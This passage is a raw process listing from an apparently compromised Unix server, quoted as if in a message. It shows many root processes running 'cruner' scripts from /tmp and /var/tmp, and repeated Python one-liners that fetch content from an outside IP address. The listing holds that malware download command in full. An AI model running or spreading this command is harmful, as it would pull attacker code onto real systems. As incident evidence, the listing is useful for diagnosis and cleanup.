15:46:04 ? 0:00 sh /var/tmp/cruner > root 9100 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28119 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24126 23464 0 15:45:43 ? 0:00 sleep 60 > root 17291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6114 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27825 8954 0 15:45:18 ? 0:00 sleep 60 > root 16609 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12817 8724 0 15:45:59 ? 0:00 sleep 60 > root 7207 8904 0 15:45:35 ? 0:00 sh /var/tmp/cruner > root 29720 13005 0 15:45:18 ? 0:00 sleep 60 > root 7297 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12560 14792 0 - ? 0:00 <defunct> > root 24892 23560 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20789 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3719 17997 0 15:44:42 ? 0:00 bash -sh > root 22696 9559 0 15:45:17 ? 0:00 sleep 60 > root 20253 22034 0 - ? 0:00 <defunct> > root 9237 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26511 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17367 5498 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 3578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8432 2212 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 12141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26545 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22524 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27301 13932 0 15:45:34 ? 0:00 sleep 60 > root 25696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10436 19969 0 15:45:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26156 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24626 3120 0 15:43:29 ? 0:00 bash -sh > root 18476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10356 24993 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 10618 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2225 15804 0 - ? 0:00 <defunct> > root 24206 971 0 - ? 0:00 <defunct> > root 13335 1 0 01:16:15 ? 0:00 sh /var/tmp/cruner > root 17659 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9225 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25940 23813 0 - ? 0:00 <defunct> > root 14106 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24144 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22568 22558 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13822 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18565 2916 0 15:43:48 ? 0:00 /opt/csw/sbin/sshd -R > root 29009 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10346 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11072 20273 0 15:45:32 ? 0:00 bash -sh > root 25291 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15643 14728 0 15:43:21 ? 0:00 bash -sh > root 18743 1758 0 15:45:51 ? 0:00 sh /var/tmp/cruner > root 21756 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17110 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12017 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5993 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 837 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17619 12467 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12172 6786 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21007 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6304 14093 0 - ? 0:00 <defunct> > root 21110 15484 0 15:44:44 ? 0:00 bash -sh > root 6791 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3475 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9145 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4924 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19892 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22887 7013 0 15:45:30 ? 0:00 sleep 60 > root 16837 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11921 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26804 9218 0 15:45:23 ? 0:00 sleep 60 > root 752 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 15218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8174 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12617 29416 0 15:42:57 ? 0:00 bash -sh > root 23429 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12967 25818 0 - ? 0:00 <defunct> > root 21512 1004 0 15:44:53 ? 0:00 bash -sh > root 15841 11866 0 - ? 0:00 <defunct> > root 19136 19826 0 15:44:18 ? 0:00 bash -sh > root 15099 15115 0 - ? 0:00 <defunct> > root 18248 2620 0 - ? 0:00 <defunct> > root 11467 23005 0 - ? 0:00 <defunct> > root 449 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28706 12938 0 15:45:34 ? 0:00 sleep 60 > root 21529 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6604 1519 0 15:45:04 ? 0:00 bash -sh > root 8577 11799 0 - ? 0:00 <defunct> > root 4686 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3581 15820 0 15:45:44 ? 0:00 sleep 60 > root 17293 17272 0 - ? 0:00 <defunct> > root 1458 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7357 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16950 5786 0 15:45:16 ? 0:00 sleep 60 > root 12222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1609 7000 0 15:45:39 ? 0:00 bash -sh > root 23012 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27720 10447 0 - ? 0:00 <defunct> > root 823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21390 20705 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25006 24977 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29770 20336 0 15:45:24 ? 0:00 sleep 60 > root 18838 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24569 38 0 - ? 0:00 <defunct> > root 96 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8776 5708 0 15:45:49 ? 0:00 sh /tmp/cruner > root 16663 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12098 11679 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2804 2795 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24195 9624 0 - ? 0:00 <defunct> > root 18819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12436 10974 0 15:46:04 ? 0:00 xargs kill -9 > root 29608 2284 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 6813 2676 0 - ? 0:00 <defunct> > root 28633 29847 0 15:43:06 ? 0:00 bash -sh > root 9637 20697 0 - ? 0:00 <defunct> > root 8225 6384 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26144 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1235 27944 0 15:45:39 ? 0:00 bash -sh > root 14474 20293 0 - ? 0:00 <defunct> > root 21413 6426 0 - ? 0:00 <defunct> > root 9337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19657 18691 0 - ? 0:00 <defunct> > root 7226 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17963 3088 0 15:46:04 ? 0:00 xargs kill -9 > root 24113 10499 0 15:45:47 ? 0:00 sleep 60 > root 19267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3117 23871 0 15:45:48 ? 0:00 bash -sh > root 2962 12864 0 15:45:08 ? 0:00 sleep 60 > root 24062 24051 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17137 15387 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13153 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16190 13929 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10677 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 716 15529 0 15:45:48 ? 0:00 bash -sh > root 28336 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25220 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27848 28012 0 15:44:21 ? 0:00 bash -sh > root 21033 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26319 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20796 1727 0 15:45:17 ? 0:00 sleep 60 > root 2676 19040 0 15:45:04 ? 0:00 bash -sh > root 13075 16612 0 - ? 0:00 <defunct> > root 29329 17793 0 15:42:21 ? 0:00 bash -sh > root 20101 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12667 11824 0 - ? 0:00 <defunct> > root 8962 773 0 - ? 0:00 <defunct> > root 21002 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16664 4337 0 15:45:51 ? 0:00 bash -sh > root 16362 26622 0 15:45:46 ? 0:00 bash -sh > root 20792 26659 0 15:46:04 ? 0:00 bash -sh > root 25833 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23243 3971 0 15:45:38 ? 0:00 bash -sh > root 13879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29012 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19572 26471 0 - ? 0:00 <defunct> > root 6332 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18346 12804 0 15:44:06 ? 0:00 bash -sh > root 20853 29958 0 15:45:22 ? 0:00 bash -sh > root 3340 4077 0 15:45:44 ? 0:00 sleep 60 > root 9317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2157 7955 0 15:45:48 ? 0:00 sleep 60 > root 7553 8096 0 15:45:40 ? 0:00 sleep 60 > root 20012 20397 0 - ? 0:00 <defunct> > root 22899 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21313 184 0 - ? 0:00 <defunct> > root 29112 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21920 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8183 5873 0 15:45:20 ? 0:00 sleep 60 > root 3543 8659 0 15:45:28 ? 0:00 sleep 60 > root 19599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25171 25398 0 15:45:52 ? 0:00 sleep 60 > root 79 27657 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11225 1 0 21:11:10 ? 0:00 sh /var/tmp/cruner > root 29874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27942 8251 0 15:45:18 ? 0:00 sleep 60 > root 5581 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8991 569 0 15:45:25 ? 0:00 sleep 60 > root 18007 17859 0 15:46:04 ? 0:00 sleep 60 > root 27044 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25137 15366 0 - ? 0:00 <defunct> > root 16503 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8898 2609 0 15:44:14 ? 0:00 bash -sh > root 5225 17036 0 - ? 0:00 <defunct> > root 11111 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28750 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15514 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4408 6843 0 - ? 0:00 <defunct> > root 4491 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25230 15327 0 - ? 0:00 <defunct> > root 2824 4372 0 15:45:40 ? 0:00 sh /tmp/cruner > root 22532 13314 0 15:45:17 ? 0:00 sleep 60 > root 16100 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12470 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6748 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19662 11785 0 15:44:53 ? 0:00 bash -sh > root 5241 26168 0 - ? 0:00 <defunct> > root 9551 9388 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10518 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9328 25152 0 15:45:50 ? 0:00 sleep 60 > root 1985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6767 13305 0 - ? 0:00 <defunct> > root 24208 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 508 5231 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18665 18264 0 - ? 0:00 <defunct> > root 11786 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8339 5719 0 15:45:36 ? 0:00 sleep 60 > root 9920 20447 0 15:45:55 ? 0:00 bash -sh > root 26669 26665 0 15:42:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15183 18360 0 15:45:11 ? 0:00 bash -sh > root 13795 4674 0 15:45:25 ? 0:00 xargs kill -9 > root 5810 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21771 8269 0 15:45:06 ? 0:00 bash -sh > root 11860 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4675 2792 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17438 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16467 8987 0 - ? 0:00 <defunct> > root 20285 24638 0 - ? 0:00 <defunct> > root 5631 5607 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29154 7926 0 15:45:27 ? 0:00 sleep 60 > root 847 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17005 17001 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24205 23537 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19555 18821 0 15:45:56 ? 0:00 xargs kill -9 > root 13441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28283 25738 0 15:46:05 ? 0:00 bash -sh > root 12092 3531 0 15:44:51 ? 0:00 bash -sh > root 3834 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24734 6993 0 15:45:57 ? 0:00 sleep 60 > root 1880 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17047 16231 0 15:45:46 ? 0:00 sleep 60 > root 22095 22127 0 - ? 0:00 <defunct> > root 26526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 362 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2410 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16958 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20584 22235 0 15:45:17 ? 0:00 bash -sh > root 4099 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27319 16982 0 15:45:34 ? 0:00 sleep 60 > root 3948 3701 0 15:45:54 ? 0:00 bash -sh > root 23006 9149 0 15:45:57 ? 0:00 sh /var/tmp/cruner > root 25103 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14953 8461 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1876 19383 0 15:45:58 ? 0:00 sleep 60 > root 6281 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11615 20557 0 - ? 0:00 <defunct> > root 27214 11578 0 - ? 0:00 <defunct> > root 16821 8082 0 15:45:42 ? 0:00 sleep 60 > root 7129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22859 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 822 23874 0 15:44:22 ? 0:00 bash -sh > root 28636 12662 0 15:45:08 ? 0:00 bash -sh > root 26812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7610 7600 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17668 26149 0 - ? 0:00 <defunct> > root 28816 11848 0 15:45:43 ? 0:00 sleep 60 > root 24592 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8159 8135 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15848 1196 0 15:43:27 ? 0:00 bash -sh > root 5130 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15134 23174 0 - ? 0:00 <defunct> > root 24008 9145 0 15:46:01 ? 0:00 bash -sh > root 25779 28757 0 15:45:52 ? 0:00 sleep 60 > root 10630 28233 0 15:44:15 ? 0:00 bash -sh > root 18306 1770 0 15:45:06 ? 0:00 sleep 60 > root 18295 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27595 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29522 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28929 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12717 9091 0 - ? 0:00 <defunct> > root 12362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5864 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28797 28620 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25125 11444 0 - ? 0:00 <defunct> > root 29964 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22396 22028 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9829 6775 0 15:45:41 ? 0:00 sleep 60 > root 14029 14025 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6055 24067 0 - ? 0:00 <defunct> > root 19829 10116 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 15399 22997 0 15:46:00 ? 0:00 bash -sh > root 24441 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9214 16260 0 15:45:31 ? 0:00 bash -sh > root 9041 429 0 15:44:14 ? 0:00 bash -sh > root 21717 13630 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2201 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22319 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25165 21626 0 - ? 0:00 <defunct> > root 21047 19199 0 15:45:17 ? 0:00 bash -sh > root 6106 23048 0 15:45:49 ? 0:00 sleep 60 > root 28530 16974 0 15:45:30 ? 0:00 bash -sh > root 20846 20392 0 15:43:34 ? 0:00 bash -sh > root 20373 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8998 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13982 26675 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 14843 5888 0 15:45:51 ? 0:00 bash -sh > root 27131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17530 22051 0 - ? 0:00 <defunct> > root 18848 10136 0 15:45:06 ? 0:00 sleep 60 > root 26522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23808 23805 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7121 20547 0 - ? 0:00 <defunct> > root 19067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2155 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25630 27452 0 15:45:52 ? 0:00 sleep 60 > root 17725 17723 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4435 1981 0 - ? 0:00 <defunct> > root 15959 28416 0 15:43:12 ? 0:00 bash -sh > root 27374 21642 0 15:45:47 ? 0:00 sleep 60 > root 14980 29387 0 - ? 0:00 <defunct> > root 29411 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20314 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15905 28137 0 15:45:11 ? 0:00 bash -sh > root 3390 15772 0 - ? 0:00 <defunct> > root 12180 9275 0 15:41:21 ? 0:00 bash -sh > root 15857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17728 17677 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29389 26532 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28172 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15466 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17774 23281 0 15:44:44 ? 0:00 bash -sh > root 24082 24069 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25982 11120 0 15:45:53 ? 0:00 bash -sh > root 4024 28469 0 15:45:35 ? 0:00 bash -sh > root 8826 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24232 26004 0 - ? 0:00 <defunct> > root 23783 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23039 8741 0 - ? 0:00 <defunct> > root 16211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20180 15357 0 - ? 0:00 <defunct> > root 21721 25768 0 - ? 0:00 <defunct> > root 9736 9720 0 - ? 0:00 <defunct> > root 1691 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14551 2647 0 15:45:45 ? 0:00 bash -sh > root 27824 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8470 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9705 503 0 15:45:15 ? 0:00 bash -sh > root 4413 13994 0 15:44:29 ? 0:00 bash -sh > root 15862 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5840 9657 0 - ? 0:00 <defunct> > root 17387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21436 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5356 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18826 20516 0 15:43:34 ? 0:00 bash -sh > root 2619 2604 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8342 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8923 6566 0 15:45:10 ? 0:00 sleep 60 > root 16604 16568 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29041 25551 0 - ? 0:00 <defunct> > root 1300 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15741 21462 0 15:45:56 ? 0:00 xargs kill -9 > root 10234 21221 0 15:45:50 ? 0:00 sleep 60 > root 5564 2318 0 15:45:49 ? 0:00 bash -sh > root 26530 14954 0 15:43:15 ? 0:00 bash -sh > root 19183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18595 18498 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7235 16113 0 15:43:09 ? 0:00 bash -sh > root 23443 3336 0 - ? 0:00 <defunct> > root 1199 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8562 5800 0 15:45:28 ? 0:00 sleep 60 > root 16112 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1514 931 0 15:45:48 ? 0:00 sleep 60 > root 8062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24458 19243 0 15:45:13 ? 0:00 bash -sh > root 29319 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8646 5683 0 - ? 0:00 <defunct> > root 26346 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22168 16396 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19287 17341 0 - ? 0:00 <defunct> > root 13542 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8219 29031 0 15:43:09 ? 0:00 bash -sh > root 29719 16074 0 15:43:58 ? 0:00 bash -sh > root 28851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23787 18653 0 15:45:57 ? 0:00 sleep 60 > root 22508 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17029 25247 0 - ? 0:00 <defunct> > root 10528 26581 0 - ? 0:00 <defunct> > root 16553 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11730 26044 0 15:45:36 ? 0:00 sh /var/tmp/cruner > root 19512 21439 0 - ? 0:00 <defunct> > root 9258 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21236 29676 0 - ? 0:00 <defunct> > root 23316 427 0 15:46:01 ? 0:00 bash -sh > root 20022 18185 0 15:45:51 ? 0:00 bash -sh > root 12412 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25036 25134 0 - ? 0:00 <defunct> > root 4610 751 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29386 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18076 18198 0 - ? 0:00 <defunct> > root 6461 18588 0 - ? 0:00 <defunct> > root 2150 4303 0 15:46:02 ? 0:00 sleep 60 > root 3916 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 971 24525 0 15:45:48 ? 0:00 bash -sh > root 27335 26488 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 8879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1566 11159 0 15:45:44 ? 0:00 bash -sh > root 14297 14275 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21392 25342 0 - ? 0:00 <defunct> > root 785 13389 0 - ? 0:00 <defunct> > root 3323 7826 0 15:46:02 ? 0:00 sleep 60 > root 11059 11015 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1021 8687 0 15:45:44 ? 0:00 bash -sh > root 12102 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9967 20760 0 - ? 0:00 <defunct> > root 17776 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6071 9854 0 15:45:49 ? 0:00 bash -sh > root 653 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27244 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14463 29077 0 - ? 0:00 <defunct> > root 7315 28317 0 15:45:36 ? 0:00 sh /tmp/cruner > root 28202 1344 0 - ? 0:00 <defunct> > root 20963 22755 0 - ? 0:00 <defunct> > root 16608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 